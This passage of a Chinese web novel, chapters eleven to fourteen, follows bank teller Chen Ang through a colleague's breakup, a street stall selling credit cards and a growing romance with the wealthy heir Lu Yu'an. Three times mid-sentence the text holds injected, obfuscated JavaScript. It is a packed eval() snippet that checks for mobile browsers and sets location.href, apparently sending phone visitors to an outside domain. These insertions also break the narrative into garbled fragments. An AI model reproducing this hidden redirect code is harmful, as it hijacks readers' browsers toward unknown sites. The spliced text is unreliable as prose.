陈盎到的时候,几个客户经理已经乐呵呵地在包食饼筒了。 “阿姨,今天中午怎么这么客气,还吃上食饼筒了。” “老蒋,你还不知道呢,阿姨的闺女考上公务员了。阿姨心里高兴,咱们也跟着吃好吃的。” 陈盎喜欢吃绿色的麦饼皮,更有嚼劲,拿了一张铺平在桌上,每一盘菜都夹了一筷子,整齐地放到饼皮上,然后小心翼翼卷起来。 听到他们在谈论,陈盎举着食饼筒,好奇地凑过去:“公务员出面试成绩了?” “昨天晚上刚出的成绩。我闺女也是运气好。”阿姨笑得合不拢嘴。 想到言欣欣的男朋友也参加了面试,陈盎便在微信上关心地问了问,可言欣欣没有回复。 直到第二天,言欣欣眼睛红肿地来上班。 晨会时,陈盎看到了,关心问:“欣欣,你怎么了?” 言欣欣憔悴地摇了摇头。 小曾拉了拉陈盎的衣角,示意她别说话。 到了中午吃饭时,小曾才告诉她:“陈盎,你就记住别乱问。欣欣被斩了。” “被什么斩了?” “被她男朋友啊。上岸第一剑,先斩意中人。” 11. 第十一章 第十一章 今天是陈盎和言欣欣接钞,临近下班点,小曾主动走过来说:“欣欣,要么你先走,我和陈盎有点事聊会儿,顺便一起接钞。” 陈盎和他对视一眼,心领神会:“嗯嗯,欣欣你先走吧。” 言欣欣却拒绝了,说自己要坚守岗位,让他们有什么事先去聊。 陈盎和小曾装模作样地聊了会儿,也不好多劝,小曾便先走了,下班时,还是她和言欣欣接钞。 等运钞车来的功夫,言欣欣已经整理好了传票,坐在位子上发呆。陈盎拿了一瓶牛奶和饼干递给她,道:“刚才押送员打来电话,说我们这边路上堵车,先绕道去别的支行接,还要等一会儿呢,先吃点东西垫垫肚子吧。” 言欣欣接过,拆了饼干咬了一口,突然趴在柜台上抽泣起来。 陈盎吓了一跳,连忙去拍拍她的背,想开口说什么,却听言欣欣道:“你们一定都知道了吧。” “嗯。”陈盎犹豫了下,承认。 言欣欣抬起头,抹抹眼泪:“咱们行就这么点大的地方,你们肯定都知道了,大家都在嘲笑我吧。” 陈盎赶紧道:“你别这样想,大家没有嘲笑你,都在骂渣男。” 言欣欣冷静了一会儿,说道:“其实我早该察觉的。他之前就提起过,他父母不同意我们在一起,但他很坚持。要是他真的像嘴上说的那么坚定我,那父母不同意这种话根本就不会传到我耳朵里。父母只是借口,实际上是他觉得我配不上,我只是他没考上公务员时的将就罢了。” 陈盎经常在小红书上刷到类似的挂渣男贴,十分不明白,考上公务员就位列仙班了吗? 陈盎没有恋爱经历,目前而言,顶多算是对叶崟有所暗恋,他对自己的态度会影响一整天的心情,但说有多喜欢,那肯定没有。 陈盎安慰道:“这个男的不值得,换一个吧,下一个更好!” 言欣欣道:“主要是浪费了时间,要是不满意我,一早就该说开。这段时间,我还帮他挑选培训班、洗衣服、送饭,期待着等他入职,我们两个人就可以结婚了。现在想想好傻啊,就是个小丑,行里肯定都传遍了,都在笑话我。” 陈盎道:“欣欣,先别管别人怎么想,我在网上看到过一个说法,每个人都有每个人的人生剧本,而且这个剧本是自己挑选的、满意的,一定有自己觉得值得的地方。我觉得吧,人生重在体验感,爱情只是很小的一部分,还有很多其他体验啊,去做自己喜欢的事,去做让自己快乐的事,去享受美食,去看风景,而不是困囿于世俗的眼光和言语之中。退一步讲,你就当这个男的是来帮你渡劫,下次你就有辨别渣男的经验了。要是下辈子再碰到这个渣男,啊不,渣男下辈子可能投胎成猪了!” 陈盎说了一大堆,言欣欣终于扑哧一声笑了出来。 她摇头道:“陈盎,你一定没谈过恋爱。” “你怎么知道?” “因为没谈过的人,最擅长给别人分析感情啊。” 言欣欣这话有点反讽意味,但陈盎觉得,自己就是很擅长分析情感利弊啊。她觉得,言欣欣的伤心点在于,一是为渣男付出了很多,对渣男画的饼期待值很高,却被当头一棒,二是害怕同事异样的眼神和嘲笑。 可是,付出了,就一定要得到什么吗? 很多时候,努力了,付出了,没什么所得才是常态。 虽然这种无力感十分让人困扰,但陈盎始终觉得,喜欢是一个人的事情,比如对于叶崟,她就是喜欢这种喜欢一个人的感觉。 * 二月初。 老街举办宋韵婚礼的消息早早就宣传了一波,这天城墙下很热闹,不仅仅因为人多,还因为美轮美奂的沉浸式宋韵婚礼体验。 宋蕴之给陈盎打电话,让她一起来看,但陈盎含泪拒绝。 因为她要在路边支个小摊办贷款和信用卡。 宋韵婚礼吸引来了很多本地年轻人,行长一拍脑袋,让陈盎和小曾抓住这个机会,行里这个月的业绩就看他们的了! 陈盎和小曾耷拉着脸,坐在路边的小摊前。 来来往往的人的确很多,有些人看见竖着的海报,还会过来问一句。半小时的功夫,还真办出去两张信用卡,陈盎和小曾平分了。 不愧是老奸巨猾的行长!陈盎在心里竖了个大拇指。 突然,小曾戳了戳她,示意往左边看。 陈盎扭头一瞅,瞅到叶崟和一个年轻女生站在一棵大树底下,两人说着什么话,女生的脸通红娇羞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925105|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈盎蹭的一下站起来,又蹭的一屁股坐回去。 小曾捂嘴笑道:“过去看看呗,你的眼睛和心思都飘过去了。” 陈盎拿传单拍他的嘴:“你别乱说!” 坐立不安了会儿,找了个上厕所的借口,偷偷溜到不远处。陈盎站在另一棵树底下,低头装作玩手机。 有许多行人路过,声音吵闹,但陈盎还是听清楚了,这个年轻女生好像是叶崟的追求者。 陈盎竖起耳朵,想听得再仔细些,却听到了自己的名字。 “陈盎。” 叶崟几步走了过来,站定她面前。陈盎愣了愣,赶紧道:“叶学长,好巧!你不叫我我都没看见你呢,哈哈哈哈……” 叶崟笑了笑,没揭穿她,一只手揽住了她的肩膀,转头看向那个年轻女生:“活动快开始了,你要和我们一起去吗?” 年轻女生的视线落在他按在陈盎肩膀的手上,像是接受不了一般,匆匆捂脸转身跑了。 等人走远,叶崟收回手,道:“抱歉。” 陈盎有点明白过来了,忙道没事,问:“刚才那个女生是在追你吗?” 叶崟双手插兜,表情冷漠道:“很无聊的一件事而已。一个人因为另一个人身上叠加的各种光环,被吸引,明明就不了解,甚至称不上熟悉,却将之归纳为爱,很好笑不是吗?” 陈盎不太明白他的意思,但还是点头。 叶崟从口袋里摸出一包烟和一只银色打火机,将一支烟送入口中,看了看陈盎,又收起来。 “所以,对于那些人,即便不好直接拒绝,我也会保持距离,希望对方能明白我的态度。” 叶崟迈开腿往前走,转头问:“不一起去看宋韵婚礼吗?” 陈盎摇头:“我还要去办卡。”指了指路边的小摊,小曾冲他们招手。 叶崟道:“好吧。” 走回到小摊坐下,陈盎双手托腮,叶崟为什么和她说这些?是看出了她的心思吗,是暗示她不要玩火自焚吗?他真的如同小曾所说一样,表面温和内心冷漠吗? 陈盎没看见的是,对面的停车场出口站了两个人。 其中高大清俊的年轻男人引得路人频频回头,略带凉意的目光却一直追随她。 12. 第十二章 第十二章 “小盎啊,在这儿干什么呢?”一个满头银发的老奶奶走到摊位前,笑眯眯地和陈盎打招呼。 陈盎忙站起来道:“陆奶奶。” 小曾听他们讲话很熟悉的样子,连忙见缝插针地拿出传单推荐。 陆奶奶见是陈盎的任务,二话不说拿出身份证,顺便把站在一旁的陆屿安喊过来,催他也办一张信用卡。 陆屿安看上去面色不悦,陈盎以为他嫌烦,忙道:“陆奶奶,没事的,你们要是不方便不用办理。” 陆屿安却将身份证扔在了她面前,道:“活动快开始了,快点。” 陈盎还没反应过来,小曾忙不迭拿了身份证,道了声“好咧”。 陈盎埋头帮他们填写开卡资料,只听陆奶奶又关心起了她的终身大事。陈盎笑道:“陆奶奶,我现在还没找到对象呢。” 陆奶奶瞅一眼陆屿安,然后指了指左边问道:“哦,那刚才那个高高帅帅的男孩,不是你男朋友啊?” 陈盎道:“您说的应该是我们叶总,以前是我学长,多说了几句。” 陆奶奶问:“小盎你也是临城一中毕业的?正好,我家小安也是,你们以前说不定还见过面。” 陈盎道:“有可能诶。” 陆屿安闻言却紧蹙了下眉,道:“不可能见过。卡办好了,该走了。” 陆奶奶被他一手从凳子上拽起来,恨铁不成钢地瞪一眼:“某些人再不抓紧啊,人家小姑娘都要被别人捷足先登了。” 陈盎:“?” 是在说她吗?陈盎抬头看陆屿安,他却没留下一个眼神,头也不回地往城墙里走。 “陈盎,这男的谁啊,你朋友?长得还挺帅的,就是比我稍微差了点。”小曾摸着下巴说道。 陈盎白他一眼,解释了下。 小曾道:“原来这就是你上次拉的大客户,他奶奶看起来很喜欢你,你还不赶紧努努力抱大腿,争取早日嫁入豪门,就不用在这儿摆摊办信用卡了。” 陈盎不在意道:“又不是他喜欢我,我努力嫁给他奶奶吗。” 小曾卷起传单戳戳她太阳穴:“我正经给你出主意呢,你现在不抓紧找个帅的,以后去相亲只能相各种歪瓜裂枣。” 陈盎嗤之以鼻。 下午,宋韵婚礼结束。 陈盎和小曾换着去看了一会儿,被盛大古朴的婚礼场景震撼,收摊时津津乐道,小曾催陈盎赶紧找个对象,争取明年报名能参加上。 陈盎问道:“你自己怎么不找?” 小曾理直气壮道:“我好吃懒做,放假了就去旅游,还要养三只毛孩子,结婚这种苦吃不了一点!看你平时工作吃苦耐劳的,结婚适合你!” 陈盎操起传单追着他打。 将办卡机器装入袋子,小曾抱着东西跑去打车,陈盎蹲下,将散落的传单一张一张捡起来,这时,一只修长的手伸过来,先一步捡起了一张。 陈盎抬头一看:“陆先生?” 陆屿安表情淡淡的,将传单塞入她提着的布袋,双手插兜,凝视了她一会儿,问道:“陈盎,我们要不要了解看看?” * 从城南支行出来,走到通往老街的桥上时,陈盎迫不及待给齐馨打了个电话。 “我有件事和你说!”两人异口同声。 “我先说!”又异口同声。 陈盎退让:“行,你先说!” 齐馨那边传来哐当的杯子砸桌声,语气也愤然:“有些傻逼男的找不到对象真是活该!我今天给人介绍相亲,那傻逼男的迟到了整整一个小时,我低声下气帮他哄着女生,男的好不容易到了吧,点了两杯咖啡,他一杯,女生一杯,最后没看上女生,找我报销咖啡钱,这也就算了,特么的他自己那杯也要我报销,还说女生看上去没一米六五,说我诈骗他!让我赔他误工费!他才一米六五啊!” “真的,陈小盎,我上班这两个月,算是把世界上的奇葩都见完了!优质女生很多,男的也都是男的,正常人是我对他们的最高评价!还有就是一点,他们把又矮又丑又性格阴湿的男的,归结为老实人,只要交钱了,就给美化资料,癞蛤蟆给吹成天鹅,劝那些相亲女生,丑的不容易出轨,是过日子的人。哈,哈哈,笑死我了,谁特么的想守着这些又丑又坏的东西过一辈子,退一步讲,这种东西没人愿意出轨他,就不能嫖吗!” 齐馨吭哧吭哧喝了一大口水:“老实人就是这么被污名化的!等着,老娘一定要出去单干,昧着良心的钱不赚!对了,你要说什么事?” 听她讲了这么一堆,陈盎对相亲已经打了个寒颤。 “我也不知道我算不算相亲。”她想了想,“就是今天遇到一个之前认识的男的,他奶奶似乎很喜欢我,还有他表妹对我也很不错,他们撮合了下?然后我就去了解了下?” 齐馨道:“你这都说的什么跟什么。我就问你,高吗?” 陈盎脑海里浮现出陆屿安一米八几的身高,低头凝视自己时,洒下来的阴影都充斥着一股威压感。 “挺高的。” “帅吗?” 陈盎眼前又不禁浮现出陆屿安的脸,眉目冷峻,鼻梁高挺,侧脸轮廓线条柔和中不失硬朗,还有嘴唇看上去……很柔软? 陈盎甩了甩脑袋,轻咳一声:“算帅的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925106|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “性格怎么样?” “没接触过不知道,但应该不是坏人。” “有钱吗?” “挺有钱。”陈盎摊牌,和齐馨说了陆屿安。 “就那个把你吓晕在单位门口,分分钟要赔你五百万那男的?!等等,名字听上去有点耳熟。” 过了片刻,电话那头传来齐馨的尖叫:“陆氏!这可是陆氏集团啊!陈小盎,你是小说女主角吗!我那天怎么不和你一起去买早餐!吓晕的怎么不是我!” “齐小馨,不准再提这件事!” 陈盎觉得,自己一定是个不及格的金融民工,既不了解本地企业,也没兴趣。 齐馨给她微信发了陆氏集团的公众号截图:“这个陆屿安是陆氏唯一继承人,还很年轻,参与事务不多,人也低调,我在他家公众号上就看到一篇有他照片的推文。啧,长得还真挺帅,陈小盎,我宣布你今天被确诊为小说女主体质!这可是陆氏啊,你知道有多牛逼吗?” 陈盎问:“是全国首富吗?” 齐馨:“……那倒不至于。哎不是,你这个女人太贪心了吧!” 陈盎站在大桥边,带着水汽的风吹拂过发丝,微黄路灯轻轻洒下,几辆电瓶车摁着喇叭通过。陈盎往旁边让了让,手指甲扣着桥栏上剥落的油漆,道:“可是,我不知道他图我什么。” 齐馨道:“反正不是图你一千六的工资!” 陈盎:“……” 想起刚才在餐厅,在陆屿安的眼神注视下,陈盎提出自己可以配合他演戏哄一哄陆奶奶。 可陆屿安却说:“陈盎,我不需要演戏,我是认真的。” 陈盎掐着手指头算了算,和陆屿安从认识到现在,也不过三个月的时间,上次他还说是为了奶奶才想和自己协议结婚,这么快就变成认真的了? 男人的嘴,骗人的鬼! 陈盎坚决不信。 “在我们这里,相亲三个月了还不定下来订婚,大部分走不到最后。三个月不算短。”齐馨明恨铁不成钢道,“陈小盎,这种又高又帅又有钱的冤大头去哪里找啊!怕什么,先上!就不能是你凭美色勾引了他,就不能是他在你看不见的地方暗恋你很多年?!” “怎么可能。” 陈盎有自知之明,自己没漂亮到这种程度,和陆屿安这种有钱人也没什么交集,哪来的勾引和暗恋。 陈盎摸着下巴,想了想道:“你说他会不会有一个白月光,得了重病需要换心脏,然后我的心脏刚好匹配?” 齐馨:“……” “少看点小说吧,真的,会把脑子看坏掉的!”齐馨“啪”的一声挂了电话。 13. 第十三章 第十三章 陈小滨的房子布置好了,邀请陈盎一家和赛玉一家去暖居。 几个长辈吃完饭后,瞧着几个单身的孩子,不禁谈起了结婚的事。赛玉翻了个白眼,抱起小米花道:“我还要回去直播,先撤了。小盎、小滨,有空来工作室找姐姐玩。” 陈盎和陈小滨戴着蓝牙耳机,正缩在沙发上打游戏,闻言挥了挥手答应。 一局王者结束,金牌中路MVP,陈盎满足地伸伸懒腰,去厨房洗了水果,回来时发现陈小滨抱着手机拼命打字。 陈盎放下水果坐回沙发,撞了下他肩膀,好奇问:“陈小滨,你也玩小红书?” 陈小滨回头道:“小盎姐,你不能刻板映像,男孩子也可以玩小红书的。” 陈盎比了个“OK”的手势,瞅一眼道:“写什么这么认真?我看看,相亲记录之我今天遇到的……” 陈小滨赶紧捂住她嘴:“嘘——别被他们听到。”看了看围坐在饭桌边的家长们,确认他们没注意这边,才把手机递给陈盎看。 原来陈小滨在小红书上记录和吐槽相亲。已经是一个有五百多粉丝的情感博主。 “看来大家都是斜杠青年,都有副业呀。”陈盎点开自己的小红书,搜索关注了他,看了会儿道,“陈小滨,没想到你文笔这么好,细腻又有文采,还有点小幽默。以后红了,可以赚大钱。” 陈小滨垂下眸道:“小盎姐,你就别打趣我了。自从秋秋的事情后,我天天晚上睡不着,就想着去相亲吧,疯狂地去相亲,可以转移注意力,在网上记录也是为了排遣心里的情绪。” 陈盎拍拍他的肩膀:“没打趣,你看,你才写了几篇帖子就有这么多粉丝,多写多积累,以后可以接广子,现在做自媒体最赚钱了。我有个好朋友,她就天天想着赚大钱,还把工作辞了要自己创业。对了,她叫齐馨,小时候应该见过的,要不要我把她介绍给你相亲?” 陈小滨疯狂摇头:“不要。兔子不吃窝边草。” 回到老街十点多,陈盎洗漱后就去睡觉,第二天醒来,发现微信上有昨晚的新消息。 点开,是陆屿安,约她吃饭。 这段日子,他一直在刷存在感。 陈盎缩在被窝里,打字:“可是蕴之约我去店里看新到的汉服。” 陆屿安没有回复,陈盎等了会儿,将手机扔到床头柜,起床洗漱,吃完早饭后前往宋蕴之的古装店。 宋蕴之见她来很高兴,推着陈盎坐在化妆镜前,让她当汉服模特。 被摁着化了个妆,搞好发型,宋蕴之挑了一件月牙白的汉代服饰,还有一件毛茸茸的披风,让陈盎换上。 陈盎被拉到店门口,宋蕴之举着相机给她拍照,说要当宣传图。 陈盎摸了摸厚厚的披风,道:“蕴之,现在天气已经转暖,你进货这一批衣服太晚了。” 宋蕴之摆摆手道:“管它呢,好看就行了。” 陈盎突然觉得,她创业不成功好像是有原因的。 “咔嚓——”侧面传来闪光灯。 陈盎扭头,只见陆屿安正举着手机,对着她,两人视线交汇,他启唇笑了笑:“很好看。” 陈盎脸上一热。 “你怎么来了?”宋蕴之走过去,伸长脖子看了看他手机里的照片,“陆屿安你会不会拍照,拍的都是什么,陈盎这么瘦,你给她拍得像一头裹着布的猪!” 陈盎:“……” 陆屿安低头看了看屏幕:“胖吗?我不觉得。” 宋蕴之道:“赶紧删掉!你过来,我教你!” 陈盎以为陆屿安会拒绝她们这种无聊的事情,谁知他竟乖乖地接过了相机,被宋蕴之使唤着当起了专职摄影师。 “小盎,你笑一下,笑一下啊,表情别太僵硬了。”宋蕴之叉着腰,一副精明能干的老板娘架势,指挥她摆姿势。 可陈盎真的笑不出来。 陆屿安给拍照,她觉得好别扭,明明两个人也不太熟,这种事情不应该是男女朋友才会做的吗。 好不容易拍完一组,宋蕴之检查完道:“还行,修图修一下就OK了。不过最重要的还是我们小盎人长得漂亮,才出片!” 陈盎道:“那蕴之,我先回去了。” 宋蕴之揽住她的肩膀:“这么早回去干嘛呀,中午我请客吃饭,让他买单!”回头看陆屿安,冲他眨了下眼,三根手指眯了眯。 陆屿安走上来,和她们并排:“好,地方你们挑。” 陈盎被热情邀请,再三推阻下,被宋蕴之拉上了车。 在她没看见的地方,宋蕴之拼命打字发微信:“给你创造了这么多次机会,答应我下个月的投资别忘了!!!” 陆屿安侧脸看了一眼陈盎,低头在手机上打了个“OK”的表情。 * 吃完饭,宋蕴之说自己有事先走一步,让陆屿安送陈盎回家。 下了车,走在老街上,陈盎紧了紧单肩包的带子,踟躇着说:“蕴之,她是不是在……嗯,就是……” 陆屿安爽快承认:“对,在撮合我们。” 陈盎脚步顿住。 陆屿安回头看她:“怎么了?” 陈盎低头想了想,道:“你上次说的事,我还没想好。” 陆屿安道:“你慢慢想,我不会催你的。” 老街的商铺门面有些已经破旧,为了维持原汁原味,政府拨了一笔钱统一装修。这几天经常有装修小队搬东西、组装三脚架、提油漆桶,紧锣密鼓地施工。 陈盎的心思不在这里,差点被一只掉落的空油漆桶砸到,幸亏陆屿安拉了她一把。 他身上的气息清冽好闻,炽热的温度似乎隔着衣服传到了陈盎脸上。 她受惊般跳了开来,离陆屿安两米远。 装修师傅从架子上探出一个脑袋:“哎呀小姑娘,对不住啊,没事吧?” 陈盎道了声没事,看一眼陆屿安,迅速扭头。 “陈盎,我有这么可怕吗?”陆屿安清凌凌地站着,皱了皱眉,面色有些不悦。 陈盎回神,深吸了口气,理直气壮道:“男女授受不亲!反正,你离我远一点。” 陆屿安真的很听话,陈盎说完就往前走,他还真的就一直保持两米的距离跟在她身后。 陈盎正想转身说自己快到家了,不用他送,这时,包里的手机响了起来。 看了眼来电显示是叶崟,忙躲到一旁的屋檐下接听。 “叶学长。” “小盎,周年庆的节目安排已经出了,想问下你的时间。” 叶崟打电话是和她说周年庆排练唱快板的事情,陈盎便多问了几句,挂完电话,一回头,陆屿安笔直地站在街旁,双手插兜,用一种复杂的眼神看她。 陈盎疑惑了下,问:“你……干嘛这样看我?” 陆屿安冷笑了下:“打电话的是那天那个男的吧。” 陈盎似乎和他心有灵犀,立即知道“那天”指的哪天、“那个男的”指的是谁。 陆屿安问:“你是不是喜欢他?” 一听这话,陈盎顿时像只炸毛的猫,气势十足地否认,警告他不要乱说话。 陆屿安冷哼一声,扭头就走。 陈盎不服输的劲头儿一下子上来,迅速跑到他面前,张开双臂拦住去路。 陆屿安低眼瞧她。 “陆奶奶说你也是临城一中的,所以你应该也认识他,叶崟,我读高一时的校广播站站长,当时很有名的,每个年级段的人都知道他。” 陆屿安似是不屑地嗤笑一声:“哦,所以是你白月光?” 陈盎被噎住了。 陆屿安又要提步走,见陈盎张着双臂不让行,问:“还有什么事吗,陈小姐?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925107|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈盎本想解释的,可这人阴阳怪气得不行,转念一想,自己凭啥解释啊,解释什么,为什么要和他一个不相干的人解释? 陈盎放下手臂,陆屿安擦肩而过。 见他头也不回地离开,陈盎又不甘心地叫住他。 “还有什么事?”陆屿安没回头。 陈盎咬了咬唇,话到嘴边,变成了:“没什么,就是想问下你,我们行最近推出了一款新的理财产品,你要买吗?” 陆屿安:“……” “不买。”陆屿安脚步顿了下,忽然道,“除非你求我。” 陈盎:“……” 陈盎道:“那你走吧,我不会求你的。” * 和陆屿安不欢而散后,陈盎回到家,趴在床上回忆细节,越想越气,掏出手机给齐馨打电话。 “你说有什么办法能让陆屿安求我?” 齐馨刚睡醒,以为自己听错了,问:“让谁,谁求你?” 陈盎重复了一遍。 齐馨沉默了许久,道:“能让人家陆氏公子求你,那只能有一个办法。” “什么?” “当上临城市市长。” “……说点现实的。” “税务局局长勉强也凑合,如果他家偷税漏税的话。” 陈盎挂了电话,立刻打开某宝,搜索公务员考试书籍。 片刻,齐馨的电话拨回来:“你干啥呢,陈小盎,突然挂我电话。” 陈盎认真地浏览某宝页面:“齐小馨,我现在决定好好考公,再也不摆烂。” 齐馨道:“咋滴,你还真想当税务局局长啊!要我说,咱干点现实的吧,不如跟着姐做自媒体。告诉你一个好消息,我已经提交了辞职报告,将带着我挖来的客户资源走上人生巅峰。” “你换工作的速度,比别人换男友的速度还快。” “我之前不是起号了吗,现在接接广子,晚上开会儿直播,有点小钱赚。我考虑过开线下红娘店,但前期投入有些大,房租、水电费都要花钱,还不如先搞搞线上,在小红书、抖音相关帖子下寻找目标客户,让他们分别加入男、女生群,还有一些人看到帖子主动找我加群。” “那怎么赚钱?” “男女的资料我都整理成表格发群里了,随他们互相挑呗,有看得上条件的联系我,我帮互推微信,但要先收个四杯奶茶钱,也就是线下所谓的电话费,如果两人能成,那就再收个六七八千的红娘费。” “这种岂不是无本生意?齐小馨,没想到你还挺有生意头脑的。” “怎么样,要不要跟着我干?” 陈盎果断拒绝了,自己是块什么料自己很清楚,她不适合做生意。 “都忘了说正事。”陈盎想起自己打电话的目的,“我其实是想让你分析一下,我最近的状态好像有点不太对。” 齐馨表示洗耳恭听。 陈盎在心里组织了会儿语言,道:“是这样的,最近和陆屿安经常碰到,我觉得他人挺好的,但是今天叶崟给我打电话的时候,我又觉得,陆屿安给的感觉,和叶崟给的感觉不一样。可能是叶学长太高冷了,我很想靠近但不敢靠近,但陆屿安不一样,和他相处的时候,还挺自然的。” 齐馨直截了当:“你就说吧,他们两个掉河里了,你救谁?” 陈盎:“……” 陈盎把脸埋进枕头里,闷闷道:“两个都不救。叶学长,顶多是对白月光的暗恋?而且给我十个胆子也不敢追他。” “陆屿安呢?” 陈盎认真地思考了下:“他……我好像也有一点点的心动?” “这不就对了!这就是典型的吃着碗里看着锅里!很正常的,姐妹,恭喜你已经具备渣女的基本属性了!一个女人同时爱上两个男人,不是错,而是她的心胸太宽广!” 陈盎:“……” 14. 第十四章 第十四章 “今天的早会就开到这里。再多说一句,这段时间新开卡的任务有点重,大家一定要注意完成时间点。” 一散会,陈盎马不停蹄地奔去柜台里盘库,距离卷帘门升起还有五分钟,她新上手不熟练,到了时间点不及时拉帘子办业务,不仅会被客户骂,还会被总行扣钱。 今天的一号选手是个老头。 一站到柜台前,就用双手捶着玻璃,脸色焦急道:“服务员,我存折里的钱不见了,我没取过啊!是不是你们给弄丢了!” 伴随着“哐当哐当”的砸玻璃声,老头急得快哭了。 陈盎忙道:“阿公您先别急,存折给我看看。” 翻看了存折内页,又去系统查了查,陈盎发现这本存折一月前已经把钱全部取走,于是解释一番,可老头不信,非说是银行把钱私吞了。 没办法,陈盎只好把印章、钱款等锁回款箱里,去监控室翻监控。 用自己的手机录好,拿回去给老头看,那天确实是他儿子陪着一起来取钱的,金额在点钞机的屏幕上显示得清清楚楚。 主办会计一起过来解释一通,可老头还是不信,哭得撕心裂肺,扒拉着柜台要一个说法。 幸亏系统里有紧急联系人号码,主办会计打电话给了老头儿子,让把人劝走了。 二号选手是个戴着口罩、偷感很重的中年大妈。 她慢吞吞地摸索到陈盎的柜台前,压低声音问:“小姐,问你个事,我用儿子的卡存钱,能不能别让他知道密码,我怕他把我钱取走。” 陈盎疑惑道:“你用自己的身份证开张卡就好了,为什么要用别人的?” 中年大妈不好意思道:“我黑户了。” 陈盎解释道:“你儿子名下的银行卡,就算暂时不知道密码,也随时可以来更改,不可能不知道的。你说的这个事情,恐怕办不到。” 中年大妈立即变了脸,骂骂咧咧:“什么破银行,这么死板一点都不知道变通!” 三号选手出现在大堂。 是个身强体壮的中年男子,存了三十万大额存单,要把大堂里的几十袋大米全部搬走。 大堂经理连忙劝阻。 中年男子理直气壮:“三十万,我存了三十万!你知道可以买多少大米吗!吃你们点米怎么了,又不值钱,值三十万吗!你们放着也是放着,浪费了,不如给我!” 另一边,小曾拒绝了一个存在开卡风险的客户,被扬言等他下班了出来等着瞧。 而一旁的言欣欣更惨,这个月已经被一个精神有问题的中年男人骚扰三次,每次来只取一百块零钱,过了半小时又存回去,只为了找她说话,顺便抛个媚眼,说觉得她很漂亮。 言欣欣快被恶心疯了。 和他们一比,陈盎忽然觉得自己还行。扶朕起来,朕还能再数一捆钱! 兵荒马乱的一天。 * 回到家,陈父陈母煮了糟羹。 厨房和客厅里飘着香喷喷的味道,陈盎闻着,感觉浑身的疲惫和心累稍微好了一丢丢。 糟羹是临城一道传统小吃,相传是戚继光抗敌时期的劳动人民发明的,以米粉混杂着各种切得碎碎的蔬菜调制而成,既简单,又节省食材,还能填饱肚子。 陈盎觉得这就是劳动人民的智慧,无论在任何艰难环境都能出奇制胜,希望吃下去可以补一补她被折磨了一天的脑子。 陈盎家喜欢吃咸口的,还蒸了一条切开的年糕。 饭吃到一半,陈母突然开口道:“小盎,你小舅舅有一个朋友的儿子,今年刚考到临城当警察……” 陈盎如临大敌:“不要!我不配!”把手里剩下的年糕塞入口中,一溜烟蹿到楼上。 陈母莫名其妙:“哎不是这孩子,我是想说,人家警察带着妻子孩子初来乍到,想让她和小滨一起带他们去本地逛一逛,尽一尽地主之谊,她这么大反应做什么呢?” 楼上,陈盎关了门,打了个饱嗝。 她坐到书桌前,先是翻了翻网购的几本公务员考试材料,可是做了几道题就做不下去。题目不难,但她没心思。 陈盎捞起手机,给齐馨打电话。 “姐妹,明天有空出来吗?”电话接通,先是齐馨开口。 听她声音闷闷不乐的,陈盎问:“怎么了?” 齐馨道:“没什么,网上遇到傻逼了。” 陈盎叹了口气道:“我也是,每天都遇到一堆奇葩。要是有一天没人骂我,我就感觉可开心了,这一天过得可真顺利!” 齐馨沉重道:“我的创业路上遇到了绊脚石!还是一块又臭又硬的绊脚石。” 陈盎洗耳恭听。 齐馨道:“我本来相亲群经营得好好的,最近横空出现一个竞争对手,模式和我极其相似,抢走不少资源。我点进去他的小红书主页看了看,是以写自己的相亲故事起号,后面就突然转型成红娘了,还说什么不想赚钱,只想帮大家找到属于自己的缘分。呸!虚伪!” “和我抢生意也就算了,前几天一个有女朋友了还出来相亲的傻逼男,被同群女生扒出来挂在了网上,我就把他踢出群,这傻逼还回头来阴阳怪气我,说我心胸狭隘,不会做生意,不如那个谁谁谁。” “我一气之下,就去那个谁谁谁的评论区掐了好几次,但这样下去也不是办法,所以明天约了他线下掐。呵呵,能让奇葩夸赞的,肯定不是什么好东西。我倒要看看对面是什么货色,一定要把他手头的资源抢过来。” 陈盎劝道:“你别这么冲动,网上的事网上解决,要是你们真一言不合打起来了,还要被请去喝茶。” 齐馨不在乎道:“谁怕谁是狗!你明天和我一起去,万一打不过,帮我报警,打得过的话,帮我叫车跑路。” 陈盎打算陪她一起去,但第二天一早,接到了主办会计的电话。 “小陈,在家吗?行长拉了一个大客户,是温城的一家工厂,员工有两三百号人,我们今天打算带着机器去开卡,把这个月的任务完成掉。你收拾收拾,小曾开车来接,十五分钟后到。” 完全不给拒绝的机会啊。 陈盎赶紧起床洗漱,拿了一块年糕边吃边出门。路上抽空给齐馨打电话,说自己临时有工作,让她今天先别去。 可齐馨却说自己已经到了,让她别担心,带着辣椒水呢。 